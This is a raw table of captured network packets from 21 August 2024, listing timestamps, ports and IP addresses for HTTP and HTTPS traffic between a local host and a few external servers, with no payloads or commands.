Aug 21, 2024 08:32:14.815449953 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815519094 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.815537930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815546036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815548897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815568924 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815574884 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.815582037 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.815615892 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.816057920 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.816082001 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.816088915 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.816109896 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.816145897 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.816162109 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.816168070 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.816178083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.816183090 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.816212893 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.816245079 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.816267967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.816273928 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.816302061 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.816308975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.816315889 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.816317081 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.816318035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.816332102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.816339970 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.816363096 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.816385031 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.853657961 CEST	49731	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.853692055 CEST	443	49731	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.854140043 CEST	443	49731	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.854209900 CEST	49731	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.854723930 CEST	49729	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.854737043 CEST	443	49729	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.855046034 CEST	443	49729	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.855334044 CEST	49731	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.855376005 CEST	49729	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.859369040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.859375000 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.859386921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.859399080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.859404087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.859458923 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.859492064 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.859498024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.859544039 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.859641075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.859646082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.859708071 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.859738111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.859791994 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.859800100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.859834909 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.859842062 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.859900951 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.859919071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.859965086 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.859986067 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860038996 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.860047102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860090017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860145092 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.860553026 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860606909 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860613108 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860625982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860665083 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.860694885 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.860737085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860745907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860764980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860769987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860780001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860785007 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860790014 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860807896 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.860807896 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.860850096 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.860850096 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.860924959 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860930920 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860941887 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.860979080 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.885550976 CEST	49729	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.891506910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891530991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891535997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891602039 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.891603947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891609907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891621113 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891625881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891649008 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.891669035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891673088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.891750097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891755104 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891760111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891766071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891808987 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.891900063 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891906023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891916037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891921043 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891926050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.891948938 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.891973019 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.892059088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892065048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892075062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892080069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892085075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892090082 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892106056 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.892117023 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.892154932 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.892244101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892250061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892261028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892266035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892271042 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892277002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892307997 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.892333031 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.892386913 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892393112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892404079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892409086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892414093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892426968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892443895 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.892476082 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.892517090 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892560959 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.892652035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892657995 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892668962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892673969 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892678976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892690897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892695904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892704964 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.892705917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892712116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892719030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892729998 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892757893 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.892784119 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.892951965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892957926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892967939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.892972946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893008947 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.893027067 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.893099070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893104076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893115044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893121004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893126011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893151999 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.893183947 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.893382072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893388033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893404007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893409014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893414021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893419027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893424034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893429041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893434048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893439054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893441916 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.893445015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893449068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893485069 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.893512011 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.893663883 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893696070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893701077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893728971 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.893765926 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.893799067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893805027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893810034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893819094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893825054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893831015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893842936 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.893874884 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.893893957 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893899918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893910885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893914938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893920898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893930912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893937111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.893946886 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.893975973 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.894145012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894150019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894160986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894165993 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894171000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894181967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894187927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894196987 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.894229889 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.894258976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894263983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894273996 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894310951 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.894481897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894486904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894498110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894536972 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.894562960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894568920 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894573927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894578934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894582987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894594908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894601107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894608974 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.894644976 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.894728899 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894821882 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894828081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894833088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894836903 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894841909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894886971 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.894913912 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.894942999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894948959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894958973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894963980 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894969940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894974947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894984007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894989967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894994974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.894998074 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.895000935 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.895005941 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.895035982 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.895075083 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.895245075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.895251036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.895298958 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.896536112 CEST	443	49731	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.897779942 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.901737928 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.901817083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.901822090 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.901833057 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.901839018 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.901844978 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.901879072 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.901921034 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.901930094 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.901937008 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.901972055 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.901972055 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902007103 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902019978 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902024984 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902030945 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902087927 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902203083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902215958 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902220964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902225971 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902232885 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902245045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902250051 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902268887 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902273893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902275085 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902280092 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902287006 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902298927 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902303934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902308941 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902313948 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902319908 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902321100 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902326107 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902332067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902369022 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902374983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902379990 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902385950 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902390003 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902417898 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902429104 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902430058 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902475119 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902496099 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902503014 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902509928 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902520895 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902525902 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902559042 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902584076 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902599096 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902738094 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902746916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902750015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902759075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902772903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902779102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902791023 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902813911 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902857065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902869940 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902875900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902903080 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902911901 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902919054 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902925014 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.902926922 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.902966976 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.906847000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.906860113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.906864882 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.906913996 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.906965971 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.906972885 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.906979084 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.906989098 CEST	80	49719	147.45.44.104	192.168.2.6
